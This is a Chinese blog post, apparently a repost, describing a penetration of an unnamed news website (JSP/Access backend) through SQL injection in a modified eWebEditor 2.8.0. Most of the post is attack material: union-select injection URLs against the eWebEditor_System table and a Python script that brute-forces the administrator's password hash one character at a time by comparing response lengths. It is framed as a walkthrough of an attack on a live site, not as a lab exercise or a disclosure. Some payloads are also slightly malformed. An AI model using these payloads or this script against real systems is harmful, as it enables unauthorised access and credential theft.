某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」某网站后台是用的  蓝滨新闻系统精简加强版即如图:可见,后台是JSP+Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。根据这个系统的源代码,找这个系统的漏洞。manage/htmledit/eWebEditor.asp sSql="select*fromewebeditor_stylewheres_name=’"&sSty…

大家好,又见面了,我是你们的朋友全栈君。

某网站后台是用的   蓝滨新闻系统精简加强版 即如图:

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

可见,后台是JSP + Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。

根据这个系统的源代码,找这个系统的漏洞

manage/htmledit/eWebEditor.asp

	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0, 

可以看到,这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版

如果是纯粹的eWebEditor ,那么到这里 直接上工具就行了。但是这里是魔改过的,所以,传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access,激活成功教程就好麻烦啦。。

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System''

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)  union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union 
select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)



## 猜解出密码和用户名长度:16 根据程序可见,是纯MD5加密
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
true ;

## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

到这里,就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。

写个针对性Python进行注入穷举:

kn.py

#encoding:UTF-8
import requests
##定义 n:找ASCII码
n = 48
charNum = 1
allAscII = ""
while charNum<=16:
    while 1:
        url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System"
        r = requests.get(url)
        print("访问成功,正在访问第"+ str(charNum)+"个位置的码,尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text)))
        if len(r.text) > 400:
            print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码!为" + str(n))
            allAscII = allAscII + str(n) + ","
            break;
        n = n + 1
    charNum = charNum + 1
    n = 48
print(allAscII)
## 失败 长度少于400 (=317)
## 成功 长度大于400  (=12370)
## print(len(r.text))

运行:

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

获取了十六位的ASC II 码后,就可以根据这个表

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

进行转换,然后得到密码md5值

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159076.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • django示例_django网站模板下载

    django示例_django网站模板下载前言目前市面上有非常多的模板系统,其中最知名最好用的就是DTL和Jinja2。DTL是DjangoTemplateLanguage三个单词的缩写,也就是Django自带的模板语言。当然也可以配置

    2022年7月31日
    6
  • TCL语法_日语语法整理手写笔记

    TCL语法_日语语法整理手写笔记一、什么是TCLTcl全称是ToolcommandLanguage。它是一个基于字符串的命令语言,基础结构和语法非常简单,易于学习和掌握。Tcl语言是一个解释性语言,所谓解释性是指不象其

    2022年8月5日
    4
  • python 字符转数字函数_excel将字符串转数字

    python 字符转数字函数_excel将字符串转数字chr(i)数字转ascii范围的字符unichr(i)数字转unicode字符ord(c)字符转成unicode码点

    2022年10月12日
    4
  • Stimulsoft.Report的代码实现功能自学整理(一)「建议收藏」

    Stimulsoft.Report的代码实现功能自学整理(一)「建议收藏」一、编译环境VisualStudio2017,Win764位,Stimulsoft版本2016.1.0.0。二、报表环境的汉化(代码实现)安装完Stimulsoft后,在路径下C:\ProgramFiles(x86)\StimulsoftReports.Net2016.1Trial\Localization中会发现很多xml文件,这些文…

    2022年7月26日
    19
  • springboot开发视频网站_springboot实战项目视频

    springboot开发视频网站_springboot实战项目视频​此篇是基于springboot脚手架开发的在线电影实战开发教程和完整源码;在学习JAVA中很容易遇到各种小错误大家一定要多学多练哦开发环境:Escplise/Maven3.5JAVA版本/JDK1.8数据库/Mysql5.7Navicat部分功能展示在个人中心中可以直观看到账户余额、用户优惠券、以及最近购买记录;…

    2022年8月20日
    7
  • nginx配置跨域访问,无法生效_页面跨域访问

    nginx配置跨域访问,无法生效_页面跨域访问由于浏览器同源策略的存在使得一个源中加载来自其它源中资源的行为受到了限制。即会出现跨域请求禁止。通俗一点说就是如果存在协议、域名、端口或者子域名不同服务端,或一者为IP地址,一者为域名地址(在跨域问题上,域仅仅是通过&quot;url的首部&quot;来识别而不会去尝试判断相同的IP地址对应着两个域或者两个域是否同属同一个IP),之中任意服务端旗下的客户端发起请求其它服务端资源的访问行动都是跨域的,而浏览器为了安全…

    2022年10月1日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号